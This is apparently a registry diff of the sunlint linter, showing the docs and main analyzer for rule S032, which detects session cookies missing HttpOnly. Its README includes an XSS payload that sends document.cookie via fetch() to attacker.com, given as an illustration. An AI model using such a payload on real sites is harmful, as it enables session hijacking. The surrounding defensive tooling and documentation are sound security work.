@sun-asterisk/sunlint 1.3.2 → 1.3.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (60) hide show
  1. package/CHANGELOG.md +73 -0
  2. package/README.md +5 -3
  3. package/config/rules/enhanced-rules-registry.json +144 -33
  4. package/core/analysis-orchestrator.js +173 -42
  5. package/core/auto-performance-manager.js +243 -0
  6. package/core/cli-action-handler.js +24 -2
  7. package/core/cli-program.js +19 -5
  8. package/core/constants/defaults.js +56 -0
  9. package/core/performance-optimizer.js +271 -0
  10. package/docs/FILE_LIMITS_COMPLETION_REPORT.md +151 -0
  11. package/docs/FILE_LIMITS_EXPLANATION.md +190 -0
  12. package/docs/PERFORMANCE.md +311 -0
  13. package/docs/PERFORMANCE_MIGRATION_GUIDE.md +368 -0
  14. package/docs/PERFORMANCE_OPTIMIZATION_PLAN.md +255 -0
  15. package/docs/QUICK_FILE_LIMITS.md +64 -0
  16. package/docs/SIMPLIFIED_USAGE_GUIDE.md +208 -0
  17. package/engines/engine-factory.js +7 -0
  18. package/engines/heuristic-engine.js +182 -5
  19. package/package.json +2 -1
  20. package/rules/common/C048_no_bypass_architectural_layers/analyzer.js +180 -0
  21. package/rules/common/C048_no_bypass_architectural_layers/config.json +50 -0
  22. package/rules/common/C048_no_bypass_architectural_layers/symbol-based-analyzer.js +235 -0
  23. package/rules/common/C052_parsing_or_data_transformation/analyzer.js +180 -0
  24. package/rules/common/C052_parsing_or_data_transformation/config.json +50 -0
  25. package/rules/common/C052_parsing_or_data_transformation/symbol-based-analyzer.js +132 -0
  26. package/rules/index.js +2 -0
  27. package/rules/security/S017_use_parameterized_queries/README.md +128 -0
  28. package/rules/security/S017_use_parameterized_queries/analyzer.js +286 -0
  29. package/rules/security/S017_use_parameterized_queries/config.json +109 -0
  30. package/rules/security/S017_use_parameterized_queries/regex-based-analyzer.js +541 -0
  31. package/rules/security/S017_use_parameterized_queries/symbol-based-analyzer.js +777 -0
  32. package/rules/security/S031_secure_session_cookies/README.md +127 -0
  33. package/rules/security/S031_secure_session_cookies/analyzer.js +245 -0
  34. package/rules/security/S031_secure_session_cookies/config.json +86 -0
  35. package/rules/security/S031_secure_session_cookies/regex-based-analyzer.js +196 -0
  36. package/rules/security/S031_secure_session_cookies/symbol-based-analyzer.js +1084 -0
  37. package/rules/security/S032_httponly_session_cookies/FRAMEWORK_SUPPORT.md +209 -0
  38. package/rules/security/S032_httponly_session_cookies/README.md +184 -0
  39. package/rules/security/S032_httponly_session_cookies/analyzer.js +282 -0
  40. package/rules/security/S032_httponly_session_cookies/config.json +96 -0
  41. package/rules/security/S032_httponly_session_cookies/regex-based-analyzer.js +715 -0
  42. package/rules/security/S032_httponly_session_cookies/symbol-based-analyzer.js +1348 -0
  43. package/rules/security/S033_samesite_session_cookies/README.md +227 -0
  44. package/rules/security/S033_samesite_session_cookies/analyzer.js +242 -0
  45. package/rules/security/S033_samesite_session_cookies/config.json +87 -0
  46. package/rules/security/S033_samesite_session_cookies/regex-based-analyzer.js +703 -0
  47. package/rules/security/S033_samesite_session_cookies/symbol-based-analyzer.js +732 -0
  48. package/rules/security/S034_host_prefix_session_cookies/README.md +204 -0
  49. package/rules/security/S034_host_prefix_session_cookies/analyzer.js +290 -0
  50. package/rules/security/S034_host_prefix_session_cookies/config.json +62 -0
  51. package/rules/security/S034_host_prefix_session_cookies/regex-based-analyzer.js +478 -0
  52. package/rules/security/S034_host_prefix_session_cookies/symbol-based-analyzer.js +277 -0
  53. package/rules/security/S035_path_session_cookies/README.md +257 -0
  54. package/rules/security/S035_path_session_cookies/analyzer.js +316 -0
  55. package/rules/security/S035_path_session_cookies/config.json +99 -0
  56. package/rules/security/S035_path_session_cookies/regex-based-analyzer.js +724 -0
  57. package/rules/security/S035_path_session_cookies/symbol-based-analyzer.js +373 -0
  58. package/scripts/batch-processing-demo.js +334 -0
  59. package/scripts/performance-test.js +541 -0
  60. package/scripts/quick-performance-test.js +108 -0
@@ -0,0 +1,209 @@
1
+ # S032 Framework Support Enhancement
2
+
3
+ ## Overview
4
+
5
+ S032 rule "Set HttpOnly attribute for Session Cookies" has been enhanced to support multiple JavaScript/TypeScript frameworks including **NestJS**, **Next.js**, and **Nuxt.js**.
6
+
7
+ ## Supported Frameworks
8
+
9
+ ### 🔹 **NestJS**
10
+
11
+ - **Patterns Detected:**
12
+
13
+ - `@Res() response: Response` decorator usage
14
+ - `response.cookie()` method calls
15
+ - NestJS controller method patterns
16
+
17
+ - **Session Cookies Identified:**
18
+
19
+ - `nest-session`, `nest-auth`
20
+ - Standard session cookies in NestJS context
21
+
22
+ - **Example Violations:**
23
+
24
+ ```typescript
25
+ @Post('login')
26
+ async login(@Res() response: Response) {
27
+ response.cookie('sessionid', 'value', {
28
+ secure: true,
29
+ sameSite: 'strict',
30
+ // Missing: httpOnly: true ❌
31
+ });
32
+ }
33
+ ```
34
+
35
+ ### 🔹 **Next.js**
36
+
37
+ - **Patterns Detected:**
38
+
39
+ - `NextResponse.cookies.set()` calls
40
+ - `cookies().set()` from next/headers
41
+ - Traditional `res.cookie()` in API routes
42
+ - NextAuth configuration
43
+
44
+ - **Session Cookies Identified:**
45
+
46
+ - `next-auth.session-token`, `next-auth.csrf-token`
47
+ - `__Host-next-auth.*`, `__Secure-next-auth.*`
48
+ - Standard session cookies in Next.js context
49
+
50
+ - **Example Violations:**
51
+
52
+ ```typescript
53
+ export async function POST(request: NextRequest) {
54
+ const response = NextResponse.next();
55
+
56
+ response.cookies.set("sessionid", "value", {
57
+ secure: true,
58
+ sameSite: "strict",
59
+ // Missing: httpOnly: true ❌
60
+ });
61
+ }
62
+ ```
63
+
64
+ ### 🔹 **Nuxt.js**
65
+
66
+ - **Patterns Detected:**
67
+
68
+ - `useCookie()` composable calls
69
+ - `setCookie()` server-side functions
70
+ - `$cookies.set()` patterns
71
+ - H3 cookie handling
72
+
73
+ - **Session Cookies Identified:**
74
+
75
+ - `nuxt-session`, `nuxt-auth`
76
+ - `auth._token`, `auth._refresh_token`
77
+ - Standard session cookies in Nuxt.js context
78
+
79
+ - **Example Violations:**
80
+
81
+ ```typescript
82
+ export function useSessionCookie() {
83
+ const sessionId = useCookie("sessionid", {
84
+ secure: true,
85
+ sameSite: "strict",
86
+ // Missing: httpOnly: true ❌
87
+ });
88
+ }
89
+ ```
90
+
91
+ ## Enhanced Detection Capabilities
92
+
93
+ ### 📊 **Regex Patterns Added:**
94
+
95
+ ```javascript
96
+ // NestJS patterns
97
+ /@Res\(\)\s*\.cookie\s*\(/gi
98
+ /response\s*:\s*Response\)\s*{\s*[^}]*response\.cookie\s*\(/gi
99
+
100
+ // Next.js patterns
101
+ /NextResponse\.next\(\)\.cookies\.set\s*\(/gi
102
+ /cookies\(\)\.set\s*\(/gi
103
+ /\.cookies\.set\s*\(/gi
104
+
105
+ // Nuxt.js patterns
106
+ /useCookie\s*\(/gi
107
+ /\$cookies\.set\s*\(/gi
108
+ /setCookie\s*\(/gi
109
+ ```
110
+
111
+ ### 🎯 **Session Cookie Indicators Expanded:**
112
+
113
+ ```javascript
114
+ // Framework-specific session cookies
115
+ "nest-session",
116
+ "nest-auth", // NestJS
117
+ "next-auth.session-token",
118
+ "next-auth.csrf-token", // Next.js
119
+ "nuxt-session",
120
+ "nuxt-auth",
121
+ "auth._token", // Nuxt.js
122
+ "access_token",
123
+ "refresh_token",
124
+ "id_token"; // General
125
+ ```
126
+
127
+ ### 🔍 **Smart Framework Detection:**
128
+
129
+ - **Import Analysis:** Detects framework from import statements
130
+ - **Decorator Recognition:** Identifies NestJS decorators like `@Res()`
131
+ - **Method Context:** Recognizes framework-specific method patterns
132
+ - **File Patterns:** Analyzes file structure for framework hints
133
+
134
+ ## Test Coverage
135
+
136
+ ### ✅ **Violation Detection:**
137
+
138
+ - **NestJS:** 17 violations detected in test file
139
+ - **Next.js:** 9 violations detected in test file
140
+ - **Nuxt.js:** 8 violations detected in test file
141
+
142
+ ### ✅ **Secure Examples:**
143
+
144
+ - All framework clean examples pass with 0 violations
145
+ - Proper `httpOnly: true` configuration recognized
146
+
147
+ ## Implementation Details
148
+
149
+ ### 🔧 **Enhanced Analyzers:**
150
+
151
+ 1. **Regex-Based Analyzer:**
152
+
153
+ - Added framework-specific patterns
154
+ - Enhanced session cookie detection
155
+ - Framework-aware violation messages
156
+
157
+ 2. **Symbol-Based Analyzer:**
158
+ - Extended method name detection
159
+ - Framework context recognition
160
+ - AST-based analysis for complex patterns
161
+
162
+ ### 📝 **Configuration Updates:**
163
+
164
+ ```json
165
+ {
166
+ "cookieLibraries": [
167
+ "nestjs",
168
+ "@nestjs/common",
169
+ "@nestjs/core",
170
+ "next-auth",
171
+ "nuxt-auth",
172
+ "@nuxt/auth",
173
+ "@nuxtjs/auth"
174
+ ],
175
+ "insecurePatterns": [
176
+ "@Res\\(\\).cookie\\([^)]*\\)(?![^{]*httpOnly)",
177
+ "NextResponse\\.next\\(\\)(?![^{]*httpOnly)",
178
+ "useCookie\\([^)]*\\)(?![^{]*httpOnly)"
179
+ ]
180
+ }
181
+ ```
182
+
183
+ ## Benefits
184
+
185
+ 1. **Comprehensive Coverage:** Supports major modern web frameworks
186
+ 2. **Smart Detection:** Recognizes framework-specific patterns and conventions
187
+ 3. **Accurate Analysis:** Reduces false positives through context awareness
188
+ 4. **Developer Friendly:** Provides framework-specific violation messages
189
+ 5. **Future Ready:** Extensible architecture for additional frameworks
190
+
191
+ ## Usage Examples
192
+
193
+ ### Run S032 on framework-specific files:
194
+
195
+ ```bash
196
+ # Test NestJS violations
197
+ sunlint --rule=S032 --input=nestjs_violations.ts
198
+
199
+ # Test Next.js violations
200
+ sunlint --rule=S032 --input=nextjs_violations.ts
201
+
202
+ # Test Nuxt.js violations
203
+ sunlint --rule=S032 --input=nuxtjs_violations.ts
204
+
205
+ # Test all frameworks
206
+ sunlint --rule=S032 --input=framework_projects/
207
+ ```
208
+
209
+ This enhancement ensures S032 provides robust session cookie security validation across the modern JavaScript/TypeScript ecosystem! 🚀
@@ -0,0 +1,184 @@
1
+ # S032 - Set HttpOnly attribute for Session Cookies
2
+
3
+ ## Rule Description
4
+
5
+ **S032** ensures that session cookies have the `HttpOnly` attribute set to prevent JavaScript access. This protects against XSS attacks by preventing client-side script access to sensitive cookies, reducing the risk of cookie theft.
6
+
7
+ ## Security Impact
8
+
9
+ - **High**: Session cookies without HttpOnly can be accessed via JavaScript in XSS attacks
10
+ - **Attack Vector**: Cross-Site Scripting (XSS), malicious scripts
11
+ - **Compliance**: OWASP Top 10, security best practices
12
+
13
+ ## Detection Patterns
14
+
15
+ ### Vulnerable Code Examples
16
+
17
+ ```javascript
18
+ // ❌ Express.js - Missing HttpOnly attribute
19
+ res.cookie("sessionid", sessionValue, {
20
+ secure: true,
21
+ // Missing: httpOnly: true
22
+ });
23
+
24
+ // ❌ Set-Cookie header - No HttpOnly attribute
25
+ res.setHeader("Set-Cookie", "sessionid=abc123; Secure");
26
+
27
+ // ❌ Document.cookie - Accessible by JavaScript
28
+ document.cookie = "auth=token123; path=/; Secure";
29
+
30
+ // ❌ Session middleware - Missing HttpOnly
31
+ app.use(
32
+ session({
33
+ secret: "secret-key",
34
+ name: "sessionid",
35
+ cookie: {
36
+ secure: true,
37
+ // Missing: httpOnly: true
38
+ },
39
+ })
40
+ );
41
+
42
+ // ❌ Explicitly disabled HttpOnly
43
+ res.cookie("jwt", tokenValue, {
44
+ secure: true,
45
+ httpOnly: false, // Explicitly vulnerable
46
+ });
47
+ ```
48
+
49
+ ### Secure Code Examples
50
+
51
+ ```javascript
52
+ // ✅ Express.js - With HttpOnly attribute
53
+ res.cookie("sessionid", sessionValue, {
54
+ httpOnly: true,
55
+ secure: true,
56
+ sameSite: "strict",
57
+ });
58
+
59
+ // ✅ Set-Cookie header - With HttpOnly attribute
60
+ res.setHeader("Set-Cookie", "sessionid=abc123; HttpOnly; Secure");
61
+
62
+ // ✅ Session middleware - Secure configuration
63
+ app.use(
64
+ session({
65
+ secret: "secret-key",
66
+ name: "sessionid",
67
+ cookie: {
68
+ httpOnly: true,
69
+ secure: true,
70
+ sameSite: "strict",
71
+ },
72
+ })
73
+ );
74
+
75
+ // ✅ Complete security configuration
76
+ res.cookie("auth", authToken, {
77
+ httpOnly: true,
78
+ secure: process.env.NODE_ENV === "production",
79
+ sameSite: "strict",
80
+ maxAge: 3600000, // 1 hour
81
+ });
82
+ ```
83
+
84
+ ## Session Cookie Indicators
85
+
86
+ The rule detects cookies that are likely session-related based on:
87
+
88
+ - **Cookie Names**: `session`, `sessionid`, `sessid`, `jsessionid`, `phpsessid`
89
+ - **Framework Patterns**: `connect.sid`, `asp.net_sessionid`
90
+ - **Authentication**: `auth`, `token`, `jwt`, `csrf`, `refresh`
91
+
92
+ ## Supported Frameworks
93
+
94
+ - **Express.js**: `res.cookie()`, `res.setHeader()`
95
+ - **Koa**: Cookie setting methods
96
+ - **Fastify**: Cookie plugins
97
+ - **Next.js**: API routes cookie handling
98
+ - **Native**: `document.cookie`, Set-Cookie headers
99
+
100
+ ## Configuration
101
+
102
+ The rule can be configured in `config.json`:
103
+
104
+ ```json
105
+ {
106
+ "validation": {
107
+ "sessionIndicators": ["session", "sessionid", "auth", "token", "refresh"],
108
+ "cookieMethods": ["setCookie", "cookie", "setHeader"],
109
+ "httpOnlyPatterns": ["httpOnly:\\s*true", "HttpOnly"]
110
+ }
111
+ }
112
+ ```
113
+
114
+ ## HttpOnly vs XSS Protection
115
+
116
+ ### Without HttpOnly (Vulnerable)
117
+
118
+ ```javascript
119
+ // JavaScript can access this cookie
120
+ document.cookie; // "sessionid=abc123; auth=token456"
121
+
122
+ // XSS payload can steal cookies
123
+ <script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>;
124
+ ```
125
+
126
+ ### With HttpOnly (Protected)
127
+
128
+ ```javascript
129
+ // JavaScript cannot access HttpOnly cookies
130
+ document.cookie; // Only shows non-HttpOnly cookies
131
+
132
+ // XSS attacks cannot steal session cookies
133
+ <script>
134
+ // This will not include HttpOnly cookies
135
+ fetch('https://attacker.com/steal?cookie=' + document.cookie);
136
+ </script>;
137
+ ```
138
+
139
+ ## Best Practices
140
+
141
+ 1. **Always use HttpOnly for session cookies**
142
+ 2. **Combine with Secure flag** for HTTPS-only transmission
143
+ 3. **Use SameSite attribute** for CSRF protection
144
+ 4. **Complete security configuration**:
145
+ ```javascript
146
+ res.cookie("session", value, {
147
+ httpOnly: true, // Prevent JavaScript access
148
+ secure: true, // HTTPS only
149
+ sameSite: "strict", // CSRF protection
150
+ maxAge: 3600000, // Expiration
151
+ });
152
+ ```
153
+
154
+ ## Exception Cases
155
+
156
+ Some legitimate use cases may require JavaScript access:
157
+
158
+ ```javascript
159
+ // ✅ Non-session cookies for UI preferences
160
+ res.cookie("theme", "dark", {
161
+ // httpOnly: false is acceptable here
162
+ secure: true,
163
+ sameSite: "lax",
164
+ });
165
+
166
+ // ✅ CSRF tokens that need JavaScript access
167
+ res.cookie("csrf-token", csrfToken, {
168
+ // httpOnly: false for AJAX requests
169
+ secure: true,
170
+ sameSite: "strict",
171
+ });
172
+ ```
173
+
174
+ ## Related Rules
175
+
176
+ - **S031**: Secure flag for cookies
177
+ - **S033**: SameSite attribute for CSRF protection
178
+ - **S034**: Cookie expiration and domain settings
179
+
180
+ ## References
181
+
182
+ - [OWASP Session Management](https://owasp.org/www-project-cheat-sheets/cheatsheets/Session_Management_Cheat_Sheet.html)
183
+ - [MDN HttpOnly Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies)
184
+ - [OWASP XSS Prevention](https://owasp.org/www-project-cheat-sheets/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
@@ -0,0 +1,282 @@
1
+ /**
2
+ * S032 Main Analyzer - Set HttpOnly attribute for Session Cookies
3
+ * Primary: Symbol-based analysis (when available)
4
+ * Fallback: Regex-based for all other cases
5
+ * Command: node cli.js --rule=S032 --input=examples/rule-test-fixtures/rules/S032_httponly_session_cookies --engine=heuristic
6
+ */
7
+
8
+ const S032SymbolBasedAnalyzer = require("./symbol-based-analyzer.js");
9
+ const S032RegexBasedAnalyzer = require("./regex-based-analyzer.js");
10
+
11
+ class S032Analyzer {
12
+ constructor(options = {}) {
13
+ if (process.env.SUNLINT_DEBUG) {
14
+ console.log(`🔧 [S032] Constructor called with options:`, !!options);
15
+ console.log(
16
+ `🔧 [S032] Options type:`,
17
+ typeof options,
18
+ Object.keys(options || {})
19
+ );
20
+ }
21
+
22
+ this.ruleId = "S032";
23
+ this.ruleName = "Set HttpOnly attribute for Session Cookies";
24
+ this.description =
25
+ "Set HttpOnly attribute for Session Cookies to prevent JavaScript access. This protects against XSS attacks by preventing client-side script access to sensitive cookies.";
26
+ this.semanticEngine = options.semanticEngine || null;
27
+ this.verbose = options.verbose || false;
28
+
29
+ // Configuration
30
+ this.config = {
31
+ useSymbolBased: true, // Primary approach
32
+ fallbackToRegex: true, // Secondary approach
33
+ regexBasedOnly: false, // Can be set to true for pure mode
34
+ };
35
+
36
+ // Initialize analyzers
37
+ try {
38
+ this.symbolAnalyzer = new S032SymbolBasedAnalyzer(this.semanticEngine);
39
+ if (process.env.SUNLINT_DEBUG) {
40
+ console.log(`🔧 [S032] Symbol analyzer created successfully`);
41
+ }
42
+ } catch (error) {
43
+ console.error(`🔧 [S032] Error creating symbol analyzer:`, error);
44
+ }
45
+
46
+ try {
47
+ this.regexAnalyzer = new S032RegexBasedAnalyzer(this.semanticEngine);
48
+ if (process.env.SUNLINT_DEBUG) {
49
+ console.log(`🔧 [S032] Regex analyzer created successfully`);
50
+ }
51
+ } catch (error) {
52
+ console.error(`🔧 [S032] Error creating regex analyzer:`, error);
53
+ }
54
+ }
55
+
56
+ /**
57
+ * Initialize analyzer with semantic engine
58
+ */
59
+ async initialize(semanticEngine) {
60
+ this.semanticEngine = semanticEngine;
61
+
62
+ if (process.env.SUNLINT_DEBUG) {
63
+ console.log(`🔧 [S032] Main analyzer initializing...`);
64
+ }
65
+
66
+ // Initialize both analyzers
67
+ if (this.symbolAnalyzer) {
68
+ await this.symbolAnalyzer.initialize?.(semanticEngine);
69
+ }
70
+ if (this.regexAnalyzer) {
71
+ await this.regexAnalyzer.initialize?.(semanticEngine);
72
+ }
73
+
74
+ // Clean up if needed
75
+ if (this.regexAnalyzer) {
76
+ this.regexAnalyzer.cleanup?.();
77
+ }
78
+
79
+ if (process.env.SUNLINT_DEBUG) {
80
+ console.log(`🔧 [S032] Main analyzer initialized successfully`);
81
+ }
82
+ }
83
+
84
+ /**
85
+ * Single file analysis method for testing
86
+ */
87
+ analyzeSingle(filePath, options = {}) {
88
+ if (process.env.SUNLINT_DEBUG) {
89
+ console.log(`🔍 [S032] analyzeSingle() called for: ${filePath}`);
90
+ }
91
+
92
+ // Return result using same format as analyze method
93
+ return this.analyze([filePath], "typescript", options);
94
+ }
95
+
96
+ async analyze(files, language, options = {}) {
97
+ if (process.env.SUNLINT_DEBUG) {
98
+ console.log(
99
+ `🔧 [S032] analyze() method called with ${files.length} files, language: ${language}`
100
+ );
101
+ }
102
+
103
+ const violations = [];
104
+
105
+ for (const filePath of files) {
106
+ try {
107
+ if (process.env.SUNLINT_DEBUG) {
108
+ console.log(`🔧 [S032] Processing file: ${filePath}`);
109
+ }
110
+
111
+ const fileViolations = await this.analyzeFile(filePath, options);
112
+ violations.push(...fileViolations);
113
+
114
+ if (process.env.SUNLINT_DEBUG) {
115
+ console.log(
116
+ `🔧 [S032] File ${filePath}: Found ${fileViolations.length} violations`
117
+ );
118
+ }
119
+ } catch (error) {
120
+ console.warn(
121
+ `⚠ [S032] Analysis failed for ${filePath}:`,
122
+ error.message
123
+ );
124
+ }
125
+ }
126
+
127
+ if (process.env.SUNLINT_DEBUG) {
128
+ console.log(`🔧 [S032] Total violations found: ${violations.length}`);
129
+ }
130
+
131
+ return violations;
132
+ }
133
+
134
+ async analyzeFile(filePath, options = {}) {
135
+ if (process.env.SUNLINT_DEBUG) {
136
+ console.log(`🔍 [S032] analyzeFile() called for: ${filePath}`);
137
+ }
138
+
139
+ // Create a Map to track unique violations and prevent duplicates
140
+ const violationMap = new Map();
141
+
142
+ // 1. Try Symbol-based analysis first (primary)
143
+ if (
144
+ this.config.useSymbolBased &&
145
+ this.semanticEngine?.project &&
146
+ this.semanticEngine?.initialized
147
+ ) {
148
+ try {
149
+ if (process.env.SUNLINT_DEBUG) {
150
+ console.log(`🔧 [S032] Trying symbol-based analysis...`);
151
+ }
152
+ const sourceFile = this.semanticEngine.project.getSourceFile(filePath);
153
+ if (sourceFile) {
154
+ if (process.env.SUNLINT_DEBUG) {
155
+ console.log(`🔧 [S032] Source file found, analyzing...`);
156
+ }
157
+ const symbolViolations = await this.symbolAnalyzer.analyze(
158
+ sourceFile,
159
+ filePath
160
+ );
161
+
162
+ // Add to violation map with deduplication
163
+ symbolViolations.forEach((violation) => {
164
+ // Create a location-specific key to allow multiple violations for same cookie at different locations
165
+ const cookieName = this.extractCookieName(violation.message) || "";
166
+ const key = `cookie:${cookieName}:line:${violation.line}:httponly`;
167
+ if (!violationMap.has(key)) {
168
+ violationMap.set(key, violation);
169
+ }
170
+ });
171
+ if (process.env.SUNLINT_DEBUG) {
172
+ console.log(
173
+ `🔧 [S032] Symbol analysis completed: ${symbolViolations.length} violations`
174
+ );
175
+ }
176
+ } else {
177
+ if (process.env.SUNLINT_DEBUG) {
178
+ console.log(`🔧 [S032] Source file not found, falling back...`);
179
+ }
180
+ }
181
+ } catch (error) {
182
+ console.warn(`⚠ [S032] Symbol analysis failed:`, error.message);
183
+ }
184
+ }
185
+
186
+ // 2. Try Regex-based analysis (fallback or additional)
187
+ if (this.config.fallbackToRegex || this.config.regexBasedOnly) {
188
+ try {
189
+ if (process.env.SUNLINT_DEBUG) {
190
+ console.log(`🔧 [S032] Trying regex-based analysis...`);
191
+ }
192
+ const regexViolations = await this.regexAnalyzer.analyze(filePath);
193
+
194
+ // Add to violation map with deduplication
195
+ regexViolations.forEach((violation) => {
196
+ // Create a location-specific key to allow multiple violations for same cookie at different locations
197
+ const cookieName = this.extractCookieName(violation.message) || "";
198
+ const key = `cookie:${cookieName}:line:${violation.line}:httponly`;
199
+
200
+ // Priority: If we already have a violation for this cookie at this line, prefer symbol analyzer result
201
+ if (!violationMap.has(key)) {
202
+ violationMap.set(key, violation);
203
+ } else {
204
+ const existing = violationMap.get(key);
205
+ // Prefer framework-specific messages (Nuxt, NestJS, Next.js) over generic ones
206
+ if (
207
+ this.isFrameworkSpecificMessage(violation.message) &&
208
+ !this.isFrameworkSpecificMessage(existing.message)
209
+ ) {
210
+ violationMap.set(key, violation);
211
+ }
212
+ }
213
+ });
214
+
215
+ if (process.env.SUNLINT_DEBUG) {
216
+ console.log(
217
+ `🔧 [S032] Regex analysis completed: ${regexViolations.length} violations`
218
+ );
219
+ }
220
+ } catch (error) {
221
+ console.warn(`⚠ [S032] Regex analysis failed:`, error.message);
222
+ }
223
+ }
224
+
225
+ // Convert Map values to array and add filePath to each violation
226
+ const finalViolations = Array.from(violationMap.values()).map(
227
+ (violation) => ({
228
+ ...violation,
229
+ filePath: filePath,
230
+ file: filePath, // Also add 'file' for compatibility
231
+ })
232
+ );
233
+
234
+ if (process.env.SUNLINT_DEBUG) {
235
+ console.log(
236
+ `🔧 [S032] File analysis completed: ${finalViolations.length} unique violations`
237
+ );
238
+ }
239
+
240
+ return finalViolations;
241
+ }
242
+
243
+ /**
244
+ * Extract cookie name from violation message for better deduplication
245
+ */
246
+ extractCookieName(message) {
247
+ try {
248
+ const match = message.match(
249
+ /Session cookie "([^"]+)"|useCookie "([^"]+)"|Cookie "([^"]+)"/
250
+ );
251
+ return match ? match[1] || match[2] || match[3] : "";
252
+ } catch (error) {
253
+ return "";
254
+ }
255
+ }
256
+
257
+ /**
258
+ * Check if message is framework-specific (preferred over generic)
259
+ */
260
+ isFrameworkSpecificMessage(message) {
261
+ return (
262
+ message.includes("Nuxt useCookie") ||
263
+ message.includes("NestJS") ||
264
+ message.includes("Next.js") ||
265
+ message.includes("Framework")
266
+ );
267
+ }
268
+
269
+ /**
270
+ * Clean up resources
271
+ */
272
+ cleanup() {
273
+ if (this.symbolAnalyzer?.cleanup) {
274
+ this.symbolAnalyzer.cleanup();
275
+ }
276
+ if (this.regexAnalyzer?.cleanup) {
277
+ this.regexAnalyzer.cleanup();
278
+ }
279
+ }
280
+ }
281
+
282
+ module.exports = S032Analyzer;